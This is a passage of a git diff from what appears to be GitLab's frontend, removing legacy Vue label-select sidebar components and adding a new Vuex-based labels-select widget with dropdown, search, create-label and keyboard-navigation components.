- <dropdown-title :can-edit="canEdit" />
- <dropdown-value
- :labels="context.labels"
- :label-filter-base-path="labelFilterBasePath"
- :enable-scoped-labels="enableScopedLabels"
- >
- <slot></slot>
- </dropdown-value>
- <div v-if="canEdit" class="selectbox js-selectbox" style="display: none">
- <dropdown-hidden-input
- v-for="label in context.labels"
- :key="label.id"
- :name="hiddenInputName"
- :value="label.id"
- />
- <div ref="dropdown" class="dropdown">
- <dropdown-button
- :ability-name="abilityName"
- :field-name="hiddenInputName"
- :update-path="updatePath"
- :labels-path="labelsPath"
- :namespace="namespace"
- :labels="context.labels"
- :show-extra-options="!showCreate || variant !== $options.DropdownVariant.Sidebar"
- :enable-scoped-labels="enableScopedLabels"
- />
- <div
- class="dropdown-menu dropdown-select dropdown-menu-paging dropdown-menu-labels dropdown-menu-selectable"
- >
- <div class="dropdown-page-one">
- <dropdown-header v-if="showCreate && variant === $options.DropdownVariant.Sidebar" />
- <dropdown-search-input />
- <div class="dropdown-content" data-qa-selector="labels_dropdown_content"></div>
- <div class="dropdown-loading">
- <gl-loading-icon
- class="gl-display-flex gl-justify-content-center gl-align-items-center gl-h-full"
- />
- </div>
- <dropdown-footer
- v-if="showCreate"
- :labels-web-url="labelsWebUrl"
- :create-label-title="createLabelTitle"
- :manage-labels-title="manageLabelsTitle"
- />
- </div>
- <dropdown-create-label
- v-if="showCreate"
- :is-project="isProject"
- :header-title="createLabelTitle"
- />
- </div>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_button.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_button.vue
deleted file mode 100644
index 94cf1f84ec3..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_button.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import { __, s__, sprintf } from '~/locale';
-
-export default {
- components: {
- GlIcon,
- },
- props: {
- abilityName: {
- type: String,
- required: true,
- },
- fieldName: {
- type: String,
- required: true,
- },
- updatePath: {
- type: String,
- required: true,
- },
- labelsPath: {
- type: String,
- required: true,
- },
- namespace: {
- type: String,
- required: true,
- },
- labels: {
- type: Array,
- required: true,
- },
- showExtraOptions: {
- type: Boolean,
- required: true,
- },
- enableScopedLabels: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- dropdownToggleText() {
- if (this.labels.length === 0) {
- return __('Label');
- }
-
- if (this.labels.length > 1) {
- return sprintf(s__('LabelSelect|%{firstLabelName} +%{remainingLabelCount} more'), {
- firstLabelName: this.labels[0].title,
- remainingLabelCount: this.labels.length - 1,
- });
- }
-
- return this.labels[0].title;
- },
- },
-};
-</script>
-
-<template>
- <!-- eslint-disable @gitlab/vue-no-data-toggle -->
- <button
- ref="dropdownButton"
- :class="{ 'js-extra-options': showExtraOptions }"
- :data-ability-name="abilityName"
- :data-field-name="fieldName"
- :data-issue-update="updatePath"
- :data-labels="labelsPath"
- :data-namespace-path="namespace"
- :data-show-any="showExtraOptions"
- :data-scoped-labels="enableScopedLabels"
- type="button"
- class="dropdown-menu-toggle wide js-label-select js-multiselect js-context-config-modal"
- data-toggle="dropdown"
- >
- <span class="dropdown-toggle-text"> {{ dropdownToggleText }} </span>
- <gl-icon
- name="chevron-down"
- class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
- :size="16"
- />
- </button>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue
deleted file mode 100644
index 795f16f4efc..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue
+++ /dev/null
@@ -1,92 +0,0 @@
-<script>
-import { GlButton, GlTooltipDirective } from '@gitlab/ui';
-import { __ } from '~/locale';
-
-export default {
- components: {
- GlButton,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- headerTitle: {
- type: String,
- required: false,
- default: () => __('Create new label'),
- },
- },
- created() {
- const rawLabelsColors = gon.suggested_label_colors;
- this.suggestedColors = Object.keys(rawLabelsColors).map((colorCode) => ({
- colorCode,
- title: rawLabelsColors[colorCode],
- }));
- },
-};
-</script>
-
-<template>
- <div class="dropdown-page-two dropdown-new-label">
- <div
- class="dropdown-title gl-display-flex gl-justify-content-space-between gl-align-items-center"
- >
- <gl-button
- :aria-label="__('Go back')"
- category="tertiary"
- class="dropdown-menu-back"
- icon="arrow-left"
- size="small"
- />
- {{ headerTitle }}
- <gl-button
- :aria-label="__('Close')"
- category="tertiary"
- class="dropdown-menu-close"
- icon="close"
- size="small"
- />
- </div>
- <div class="dropdown-content">
- <div class="dropdown-labels-error js-label-error"></div>
- <input
- id="new_label_name"
- :placeholder="__('Name new label')"
- type="text"
- class="default-dropdown-input"
- />
- <div class="suggest-colors suggest-colors-dropdown">
- <a
- v-for="(color, index) in suggestedColors"
- :key="index"
- v-gl-tooltip
- :data-color="color.colorCode"
- :style="{
- backgroundColor: color.colorCode,
- }"
- :title="color.title"
- href="#"
- >
- &nbsp;
- </a>
- </div>
- <div class="dropdown-label-color-input">
- <div class="dropdown-label-color-preview js-dropdown-label-color-preview"></div>
- <input
- id="new_label_color"
- :placeholder="__('Assign custom color like #FF0000')"
- type="text"
- class="default-dropdown-input"
- />
- </div>
- <div class="clearfix">
- <gl-button category="secondary" class="float-left js-new-label-btn disabled">
- {{ __('Create') }}
- </gl-button>
- <gl-button category="secondary" class="float-right js-cancel-label-btn">
- {{ __('Cancel') }}
- </gl-button>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_footer.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_footer.vue
deleted file mode 100644
index ebbd8d119b5..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_footer.vue
+++ /dev/null
@@ -1,37 +0,0 @@
-<script>
-import { __ } from '~/locale';
-
-export default {
- props: {
- labelsWebUrl: {
- type: String,
- required: true,
- },
- createLabelTitle: {
- type: String,
- required: false,
- default: () => __('Create new label'),
- },
- manageLabelsTitle: {
- type: String,
- required: false,
- default: () => __('Manage labels'),
- },
- },
-};
-</script>
-
-<template>
- <div class="dropdown-footer">
- <ul class="dropdown-footer-list">
- <li>
- <a href="#" class="dropdown-toggle-page"> {{ createLabelTitle }} </a>
- </li>
- <li>
- <a :href="labelsWebUrl" data-is-link="true" class="dropdown-external-link">
- {{ manageLabelsTitle }}
- </a>
- </li>
- </ul>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
deleted file mode 100644
index 4f505b9e678..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
+++ /dev/null
@@ -1,22 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-
-export default {
- components: {
- GlIcon,
- },
-};
-</script>
-
-<template>
- <div class="dropdown-title gl-display-flex gl-justify-content-center">
- <span class="gl-ml-auto">{{ __('Assign labels') }}</span>
- <button
- :aria-label="__('Close')"
- type="button"
- class="dropdown-title-button dropdown-menu-close gl-ml-auto"
- >
- <gl-icon name="close" class="dropdown-menu-close-icon" />
- </button>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_search_input.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_search_input.vue
deleted file mode 100644
index 6222dfc5853..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_search_input.vue
+++ /dev/null
@@ -1,28 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-
-export default {
- components: {
- GlIcon,
- },
-};
-</script>
-
-<template>
- <div class="dropdown-input">
- <input
- :placeholder="__('Search')"
- autocomplete="off"
- class="dropdown-input-field"
- type="search"
- />
- <gl-icon
- name="search"
- class="dropdown-input-search gl-absolute gl-top-3 gl-right-5 gl-text-gray-300 gl-pointer-events-none"
- />
- <gl-icon
- name="close"
- class="dropdown-input-clear js-dropdown-input-clear gl-absolute gl-top-3 gl-right-5 gl-text-gray-500"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue
deleted file mode 100644
index 91cf5d6bef5..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue
+++ /dev/null
@@ -1,31 +0,0 @@
-<script>
-import { GlLoadingIcon } from '@gitlab/ui';
-
-export default {
- components: {
- GlLoadingIcon,
- },
- props: {
- canEdit: {
- type: Boolean,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <div class="title hide-collapsed gl-mb-3">
- {{ __('Labels') }}
- <template v-if="canEdit">
- <gl-loading-icon inline class="align-text-top block-loading" />
- <button
- type="button"
- class="edit-link btn btn-blank float-right js-sidebar-dropdown-toggle"
- data-qa-selector="labels_edit_button"
- >
- {{ __('Edit') }}
- </button>
- </template>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value.vue
deleted file mode 100644
index 71d7069dd57..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value.vue
+++ /dev/null
@@ -1,65 +0,0 @@
-<script>
-import { GlLabel } from '@gitlab/ui';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-
-export default {
- components: {
- GlLabel,
- },
- props: {
- labels: {
- type: Array,
- required: true,
- },
- labelFilterBasePath: {
- type: String,
- required: true,
- },
- enableScopedLabels: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- isEmpty() {
- return this.labels.length === 0;
- },
- },
- methods: {
- labelFilterUrl(label) {
- return `${this.labelFilterBasePath}?label_name[]=${encodeURIComponent(label.title)}`;
- },
- scopedLabelsDescription({ description = '' }) {
- return `<span class="font-weight-bold scoped-label-tooltip-title">Scoped label</span><br />${description}`;
- },
- showScopedLabels(label) {
- return this.enableScopedLabels && isScopedLabel(label);
- },
- },
-};
-</script>
-
-<template>
- <div
- :class="{
- 'has-labels': !isEmpty,
- }"
- class="hide-collapsed value issuable-show-labels js-value"
- >
- <span v-if="isEmpty" class="text-secondary">
- <slot>{{ __('None') }}</slot>
- </span>
-
- <template v-for="label in labels" v-else>
- <gl-label
- :key="label.id"
- :target="labelFilterUrl(label)"
- :background-color="label.color"
- :title="label.title"
- :description="label.description"
- :scoped="showScopedLabels(label)"
- />
- </template>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
index 5d1663bc1fd..813de528c0b 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
@@ -23,17 +23,18 @@ export default {
</script>
<template>
- <div class="title hide-collapsed gl-mb-3">
+ <div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ __('Labels') }}
<template v-if="allowLabelEdit">
<gl-loading-icon v-show="labelsSelectInProgress" inline />
<gl-button
variant="link"
- class="float-right js-sidebar-dropdown-toggle"
+ class="float-right gl-text-gray-900! gl-hover-text-blue-800! js-sidebar-dropdown-toggle"
data-qa-selector="labels_edit_button"
@click="toggleDropdownContents"
- >{{ __('Edit') }}</gl-button
>
+ {{ __('Edit') }}
+ </gl-button>
</template>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue
index 122250d1ce7..122250d1ce7 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
index a4462895f6a..87af3ffc52c 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
@@ -5,13 +5,12 @@ import Vuex, { mapState, mapActions, mapGetters } from 'vuex';
import { isInViewport } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
-import DropdownValueCollapsed from '~/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue';
-
import { DropdownVariant } from './constants';
import DropdownButton from './dropdown_button.vue';
import DropdownContents from './dropdown_contents.vue';
import DropdownTitle from './dropdown_title.vue';
import DropdownValue from './dropdown_value.vue';
+import DropdownValueCollapsed from './dropdown_value_collapsed.vue';
import labelsSelectModule from './store';
Vue.use(Vuex);
@@ -61,6 +60,11 @@ export default {
required: false,
default: () => [],
},
+ hideCollapsedView: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
labelsSelectInProgress: {
type: Boolean,
required: false,
@@ -294,6 +298,7 @@ export default {
>
<template v-if="isDropdownVariantSidebar">
<dropdown-value-collapsed
+ v-if="!hideCollapsedView"
ref="dropdownButtonCollapsed"
:labels="selectedLabels"
@onValueClick="handleCollapsedValueClick"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/constants.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/constants.js
new file mode 100644
index 00000000000..00c54313292
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/constants.js
@@ -0,0 +1,5 @@
+export const DropdownVariant = {
+ Sidebar: 'sidebar',
+ Standalone: 'standalone',
+ Embedded: 'embedded',
+};
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_button.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_button.vue
new file mode 100644
index 00000000000..60111210f5d
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_button.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlButton, GlIcon } from '@gitlab/ui';
+import { mapActions, mapGetters } from 'vuex';
+
+export default {
+ components: {
+ GlButton,
+ GlIcon,
+ },
+ computed: {
+ ...mapGetters([
+ 'dropdownButtonText',
+ 'isDropdownVariantStandalone',
+ 'isDropdownVariantEmbedded',
+ ]),
+ },
+ methods: {
+ ...mapActions(['toggleDropdownContents']),
+ handleButtonClick(e) {
+ if (this.isDropdownVariantStandalone || this.isDropdownVariantEmbedded) {
+ this.toggleDropdownContents();
+ }
+
+ if (this.isDropdownVariantStandalone) {
+ e.stopPropagation();
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-button
+ class="labels-select-dropdown-button js-dropdown-button w-100 text-left"
+ @click="handleButtonClick"
+ >
+ <span class="dropdown-toggle-text gl-pointer-events-none flex-fill">
+ {{ dropdownButtonText }}
+ </span>
+ <gl-icon name="chevron-down" class="gl-pointer-events-none float-right" />
+ </gl-button>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue
new file mode 100644
index 00000000000..d80b66fd9be
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue
@@ -0,0 +1,44 @@
+<script>
+import { mapGetters, mapState } from 'vuex';
+
+import DropdownContentsCreateView from './dropdown_contents_create_view.vue';
+import DropdownContentsLabelsView from './dropdown_contents_labels_view.vue';
+
+export default {
+ components: {
+ DropdownContentsLabelsView,
+ DropdownContentsCreateView,
+ },
+ props: {
+ renderOnTop: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ ...mapState(['showDropdownContentsCreateView']),
+ ...mapGetters(['isDropdownVariantSidebar']),
+ dropdownContentsView() {
+ if (this.showDropdownContentsCreateView) {
+ return 'dropdown-contents-create-view';
+ }
+ return 'dropdown-contents-labels-view';
+ },
+ directionStyle() {
+ const bottom = this.isDropdownVariantSidebar ? '3rem' : '2rem';
+ return this.renderOnTop ? { bottom } : {};
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ class="labels-select-dropdown-contents gl-w-full gl-my-2 gl-py-3 gl-rounded-base gl-absolute"
+ data-qa-selector="labels_dropdown_content"
+ :style="directionStyle"
+ >
+ <component :is="dropdownContentsView" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue
new file mode 100644
index 00000000000..f8cc981ba3d
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue
@@ -0,0 +1,119 @@
+<script>
+import { GlTooltipDirective, GlButton, GlFormInput, GlLink, GlLoadingIcon } from '@gitlab/ui';
+import { mapState, mapActions } from 'vuex';
+
+export default {
+ components: {
+ GlButton,
+ GlFormInput,
+ GlLink,
+ GlLoadingIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ data() {
+ return {
+ labelTitle: '',
+ selectedColor: '',
+ };
+ },
+ computed: {
+ ...mapState(['labelsCreateTitle', 'labelCreateInProgress']),
+ disableCreate() {
+ return !this.labelTitle.length || !this.selectedColor.length || this.labelCreateInProgress;
+ },
+ suggestedColors() {
+ const colorsMap = gon.suggested_label_colors;
+ return Object.keys(colorsMap).map((color) => ({ [color]: colorsMap[color] }));
+ },
+ },
+ methods: {
+ ...mapActions(['toggleDropdownContents', 'toggleDropdownContentsCreateView', 'createLabel']),
+ getColorCode(color) {
+ return Object.keys(color).pop();
+ },
+ getColorName(color) {
+ return Object.values(color).pop();
+ },
+ handleColorClick(color) {
+ this.selectedColor = this.getColorCode(color);
+ },
+ handleCreateClick() {
+ this.createLabel({
+ title: this.labelTitle,
+ color: this.selectedColor,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="labels-select-contents-create js-labels-create">
+ <div class="dropdown-title d-flex align-items-center pt-0 pb-2">
+ <gl-button
+ :aria-label="__('Go back')"
+ variant="link"
+ size="small"
+ class="js-btn-back dropdown-header-button p-0"
+ icon="arrow-left"
+ @click="toggleDropdownContentsCreateView"
+ />
+ <span class="flex-grow-1">{{ labelsCreateTitle }}</span>
+ <gl-button
+ :aria-label="__('Close')"
+ variant="link"
+ size="small"
+ class="dropdown-header-button p-0"
+ icon="close"
+ @click="toggleDropdownContents"
+ />
+ </div>
+ <div class="dropdown-input">
+ <gl-form-input
+ v-model.trim="labelTitle"
+ :placeholder="__('Name new label')"
+ :autofocus="true"
+ />
+ </div>
+ <div class="dropdown-content px-2">
+ <div class="suggest-colors suggest-colors-dropdown mt-0 mb-2">
+ <gl-link
+ v-for="(color, index) in suggestedColors"
+ :key="index"
+ v-gl-tooltip:tooltipcontainer
+ :style="{ backgroundColor: getColorCode(color) }"
+ :title="getColorName(color)"
+ @click.prevent="handleColorClick(color)"
+ />
+ </div>
+ <div class="color-input-container gl-display-flex">
+ <span
+ class="dropdown-label-color-preview position-relative position-relative d-inline-block"
+ :style="{ backgroundColor: selectedColor }"
+ ></span>
+ <gl-form-input
+ v-model.trim="selectedColor"
+ class="gl-rounded-top-left-none gl-rounded-bottom-left-none"
+ :placeholder="__('Use custom color #FF0000')"
+ />
+ </div>
+ </div>
+ <div class="dropdown-actions clearfix pt-2 px-2">
+ <gl-button
+ :disabled="disableCreate"
+ category="primary"
+ variant="success"
+ class="float-left d-flex align-items-center"
+ @click="handleCreateClick"
+ >
+ <gl-loading-icon v-show="labelCreateInProgress" :inline="true" class="mr-1" />
+ {{ __('Create') }}
+ </gl-button>
+ <gl-button class="float-right js-btn-cancel-create" @click="toggleDropdownContentsCreateView">
+ {{ __('Cancel') }}
+ </gl-button>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view.vue
new file mode 100644
index 00000000000..86788a84260
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view.vue
@@ -0,0 +1,221 @@
+<script>
+import {
+ GlIntersectionObserver,
+ GlLoadingIcon,
+ GlButton,
+ GlSearchBoxByType,
+ GlLink,
+} from '@gitlab/ui';
+import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { mapState, mapGetters, mapActions } from 'vuex';
+
+import { UP_KEY_CODE, DOWN_KEY_CODE, ENTER_KEY_CODE, ESC_KEY_CODE } from '~/lib/utils/keycodes';
+
+import LabelItem from './label_item.vue';
+
+export default {
+ components: {
+ GlIntersectionObserver,
+ GlLoadingIcon,
+ GlButton,
+ GlSearchBoxByType,
+ GlLink,
+ LabelItem,
+ },
+ data() {
+ return {
+ searchKey: '',
+ currentHighlightItem: -1,
+ };
+ },
+ computed: {
+ ...mapState([
+ 'allowLabelCreate',
+ 'allowMultiselect',
+ 'labelsManagePath',
+ 'labels',
+ 'labelsFetchInProgress',
+ 'labelsListTitle',
+ 'footerCreateLabelTitle',
+ 'footerManageLabelTitle',
+ ]),
+ ...mapGetters(['selectedLabelsList', 'isDropdownVariantSidebar', 'isDropdownVariantEmbedded']),
+ visibleLabels() {
+ if (this.searchKey) {
+ return fuzzaldrinPlus.filter(this.labels, this.searchKey, {
+ key: ['title'],
+ });
+ }
+ return this.labels;
+ },
+ showNoMatchingResultsMessage() {
+ return Boolean(this.searchKey) && this.visibleLabels.length === 0;
+ },
+ },
+ watch: {
+ searchKey(value) {
+ // When there is search string present
+ // and there are matching results,
+ // highlight first item by default.
+ if (value && this.visibleLabels.length) {
+ this.currentHighlightItem = 0;
+ }
+ },
+ },
+ methods: {
+ ...mapActions([
+ 'toggleDropdownContents',
+ 'toggleDropdownContentsCreateView',
+ 'fetchLabels',
+ 'receiveLabelsSuccess',
+ 'updateSelectedLabels',
+ 'toggleDropdownContents',
+ ]),
+ isLabelSelected(label) {
+ return this.selectedLabelsList.includes(label.id);
+ },
+ /**
+ * This method scrolls item from dropdown into
+ * the view if it is off the viewable area of the
+ * container.
+ */
+ scrollIntoViewIfNeeded() {
+ const highlightedLabel = this.$refs.labelsListContainer.querySelector('.is-focused');
+
+ if (highlightedLabel) {
+ const container = this.$refs.labelsListContainer.getBoundingClientRect();
+ const label = highlightedLabel.getBoundingClientRect();
+
+ if (label.bottom > container.bottom) {
+ this.$refs.labelsListContainer.scrollTop += label.bottom - container.bottom;
+ } else if (label.top < container.top) {
+ this.$refs.labelsListContainer.scrollTop -= container.top - label.top;
+ }
+ }
+ },
+ handleComponentAppear() {
+ // We can avoid putting `catch` block here
+ // as failure is handled within actions.js already.
+ return this.fetchLabels().then(() => {
+ this.$refs.searchInput.focusInput();
+ });
+ },
+ /**
+ * We want to remove loaded labels to ensure component
+ * fetches fresh set of labels every time when shown.
+ */
+ handleComponentDisappear() {
+ this.receiveLabelsSuccess([]);
+ },
+ handleCreateLabelClick() {
+ this.receiveLabelsSuccess([]);
+ this.toggleDropdownContentsCreateView();
+ },
+ /**
+ * This method enables keyboard navigation support for
+ * the dropdown.
+ */
+ handleKeyDown(e) {
+ if (e.keyCode === UP_KEY_CODE && this.currentHighlightItem > 0) {
+ this.currentHighlightItem -= 1;
+ } else if (
+ e.keyCode === DOWN_KEY_CODE &&
+ this.currentHighlightItem < this.visibleLabels.length - 1
+ ) {
+ this.currentHighlightItem += 1;
+ } else if (e.keyCode === ENTER_KEY_CODE && this.currentHighlightItem > -1) {
+ this.updateSelectedLabels([this.visibleLabels[this.currentHighlightItem]]);
+ this.searchKey = '';
+ } else if (e.keyCode === ESC_KEY_CODE) {
+ this.toggleDropdownContents();
+ }
+
+ if (e.keyCode !== ESC_KEY_CODE) {
+ // Scroll the list only after highlighting
+ // styles are rendered completely.
+ this.$nextTick(() => {
+ this.scrollIntoViewIfNeeded();
+ });
+ }
+ },
+ handleLabelClick(label) {
+ this.updateSelectedLabels([label]);
+ if (!this.allowMultiselect) this.toggleDropdownContents();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-intersection-observer @appear="handleComponentAppear" @disappear="handleComponentDisappear">
+ <div class="labels-select-contents-list js-labels-list" @keydown="handleKeyDown">
+ <div
+ v-if="isDropdownVariantSidebar || isDropdownVariantEmbedded"
+ class="dropdown-title gl-display-flex gl-align-items-center gl-pt-0 gl-pb-3!"
+ data-testid="dropdown-title"
+ >
+ <span class="flex-grow-1">{{ labelsListTitle }}</span>
+ <gl-button
+ :aria-label="__('Close')"
+ variant="link"
+ size="small"
+ class="dropdown-header-button gl-p-0!"
+ icon="close"
+ @click="toggleDropdownContents"
+ />
+ </div>
+ <div class="dropdown-input" @click.stop="() => {}">
+ <gl-search-box-by-type
+ ref="searchInput"
+ v-model="searchKey"
+ :disabled="labelsFetchInProgress"
+ data-qa-selector="dropdown_input_field"
+ />
+ </div>
+ <div ref="labelsListContainer" class="dropdown-content" data-testid="dropdown-content">
+ <gl-loading-icon
+ v-if="labelsFetchInProgress"
+ class="labels-fetch-loading gl-align-items-center w-100 h-100"
+ size="md"
+ />
+ <ul v-else class="list-unstyled gl-mb-0 gl-word-break-word">
+ <label-item
+ v-for="(label, index) in visibleLabels"
+ :key="label.id"
+ :label="label"
+ :is-label-set="label.set"
+ :highlight="index === currentHighlightItem"
+ @clickLabel="handleLabelClick(label)"
+ />
+ <li v-show="showNoMatchingResultsMessage" class="gl-p-3 gl-text-center">
+ {{ __('No matching results') }}
+ </li>
+ </ul>
+ </div>
+ <div
+ v-if="isDropdownVariantSidebar || isDropdownVariantEmbedded"
+ class="dropdown-footer"
+ data-testid="dropdown-footer"
+ >
+ <ul class="list-unstyled">
+ <li v-if="allowLabelCreate">
+ <gl-link
+ class="gl-display-flex w-100 flex-row text-break-word label-item"
+ @click="handleCreateLabelClick"
+ >
+ {{ footerCreateLabelTitle }}
+ </gl-link>
+ </li>
+ <li>
+ <gl-link
+ :href="labelsManagePath"
+ class="gl-display-flex flex-row text-break-word label-item"
+ >
+ {{ footerManageLabelTitle }}
+ </gl-link>
+ </li>
+ </ul>
+ </div>
+ </div>
+ </gl-intersection-observer>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue
new file mode 100644
index 00000000000..5d1663bc1fd
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue
@@ -0,0 +1,39 @@
+<script>
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
+import { mapState, mapActions } from 'vuex';
+
+export default {
+ components: {
+ GlButton,
+ GlLoadingIcon,
+ },
+ props: {
+ labelsSelectInProgress: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapState(['allowLabelEdit', 'labelsFetchInProgress']),
+ },
+ methods: {
+ ...mapActions(['toggleDropdownContents']),
+ },
+};
+</script>
+
+<template>
+ <div class="title hide-collapsed gl-mb-3">
+ {{ __('Labels') }}
+ <template v-if="allowLabelEdit">
+ <gl-loading-icon v-show="labelsSelectInProgress" inline />
+ <gl-button
+ variant="link"
+ class="float-right js-sidebar-dropdown-toggle"
+ data-qa-selector="labels_edit_button"
+ @click="toggleDropdownContents"
+ >{{ __('Edit') }}</gl-button
+ >
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
new file mode 100644
index 00000000000..46ccb9470e5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlLabel } from '@gitlab/ui';
+import { mapState } from 'vuex';
+
+import { isScopedLabel } from '~/lib/utils/common_utils';
+
+export default {
+ components: {
+ GlLabel,
+ },
+ props: {
+ disableLabels: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ ...mapState([
+ 'selectedLabels',
+ 'allowLabelRemove',
+ 'allowScopedLabels',
+ 'labelsFilterBasePath',
+ 'labelsFilterParam',
+ ]),
+ },
+ methods: {
+ labelFilterUrl(label) {
+ return `${this.labelsFilterBasePath}?${this.labelsFilterParam}[]=${encodeURIComponent(
+ label.title,
+ )}`;
+ },
+ scopedLabel(label) {
+ return this.allowScopedLabels && isScopedLabel(label);
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ :class="{
+ 'has-labels': selectedLabels.length,
+ }"
+ class="hide-collapsed value issuable-show-labels js-value"
+ >
+ <span v-if="!selectedLabels.length" class="text-secondary">
+ <slot></slot>
+ </span>
+ <template v-for="label in selectedLabels" v-else>
+ <gl-label
+ :key="label.id"
+ data-qa-selector="selected_label_content"
+ :data-qa-label-name="label.title"
+ :title="label.title"
+ :description="label.description"
+ :background-color="label.color"
+ :target="labelFilterUrl(label)"
+ :scoped="scopedLabel(label)"
+ :show-close-button="allowLabelRemove"
+ :disabled="disableLabels"
+ tooltip-placement="top"
